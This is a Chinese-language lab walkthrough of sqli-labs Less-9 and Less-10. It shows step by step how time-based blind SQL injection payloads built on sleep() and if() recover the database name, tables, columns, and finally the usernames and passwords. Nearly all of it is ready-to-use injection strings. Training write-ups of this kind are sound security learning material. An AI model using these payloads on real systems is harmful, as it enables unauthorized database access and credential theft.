Less-9 时间盲注
从题目中我们了解到了这是一道关于单引号时间盲注的题,那么我们先尝试 ?id=1’ 发现返回的结果竟然是 You are in … 什么情况?于是分别尝试 ?id=1 ?id=1” 发现结果都是You are in … 于是可以大胆的猜测正确的输入和错误的输入返回的结果被设置成一样的了。
对比后台源码:
从源代码中证明了我们的猜测,由此也可得出这样的结论:1.不返回报错信息页面,无法进行基于报错信息的盲注。2.页面不存在true和false两种不同的页面,无法进行对比也就无法进行布尔盲注。
一般来说,在页面没有任何回显和错误信息提示的时候,我们就会测试时间盲注这最后的手法。
发现只有语句页面延迟了,说明这是单引号时间盲注。
常用的判断语句:
‘ and if(1,sleep(5),1) %23
‘ and if(1=0,1,sleep(10)) –+
“ and if(1=0,1, sleep(10)) –+
) and if(1=0,1, sleep(10)) –+
‘) and if(1=0,1, sleep(10)) –+
“) and if(1=0,1, sleep(10)) –+
………..
补充小知识:
使用
if(查询语句,1,sleep(5))
即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。
1.if(expr1,expr2,expr3) :判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
2.sleep(n) :将程序挂起一段时间 n单位为秒
1.然后我们就来猜数据库长度:
?id=1’ and if (length(database())=x ,sleep(5),1)–+
x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
?id=1’ and if(length(database())=8,sleep(5),1) – #
2.猜数据库名—> 得到security 数据库:
当前的数据库名:可以用 < > = 比较,对字符进行范围的判断,不断缩小范围
?id=1’ and if(left(database(),1)>’r’ ,sleep(5),1)– # 页面有明显延迟
?id=1’ and if(left(database(),1)>’s’ ,sleep(5),1)– # 页面无明显延迟
?id=1’ and if(left(database(),1)>’t’ ,sleep(5),1)– # 页面无明显延迟
?id=1’ and if(left(database(),1)=’s’ ,sleep(5),1)– # 页面有明显延迟
……..
?id=1’ and if(left(database(),8)=’security’ ,sleep(5),1)– # 页面有明显延迟
当然也可以这样写:
正确的时候直接返回,不正确的时候等待 5 秒钟,只给出正确的:
?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)
?id=1’ and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第一位是 e (ascii 码是 101)
….
以此类推,我们知道了数据库名字是 security
3.猜数据库表
?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),5)=’users’,sleep(5),1)–+
通过limit x,1 中x的变化,我们找到了users表
?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=’users’,sleep(5),1)–+
注意不建议使用这种方法猜数据库里的表,这种猜数据库表的概率太低,这种写法只能说你知道了security数据库可能有 users 表但你不确定,用这种语句可以确定数据库是否有该表,且该表在第几行,由下图可知,users表在第四行,而limit是从0开始的,所以x为3
既然上面的不靠谱,那么用另外一种方法吧:
正确的时候直接返回,不正确的时候等待 5 秒钟,只给出正确的:(注意拼写正确)
?id=1’ and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,1,sleep(5))–+
?id=1’ and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),2,1))=109,1,sleep(5))–+
…..
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
?id=1’ and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,1,sleep(5))–+
?id=1’ and If(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),2,1))=101,1,sleep(5))–+
…….
猜测第二个数据表的第一位是 r,…依次类推,得到 referers
……
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
4.猜users表里的列 (ASCII码 i-105)
?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
(and table_schema=database()这条语句不能少是因为要排除其他数据库可能也会有users表)
5.猜username的值(ASCII码 D=68)
?id=1’ and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
注:
if(查询语句,1,sleep(5))里面的查询
语句都可以换成布尔盲注的语句,参考less-5,同理Less-5的语句也能换成less-9的查询语句,就是布尔盲注与延时注入相结合,要灵活运用。
Less-10
从题目中我们可以得出这是一道关于双引号时间盲注的题,也就是和Less-9十分类似,只需把单引号 ‘ 替换成双引号 “ 其他操作不变。
查看下源码:
发现是双引号;
过程与第九关一样。
over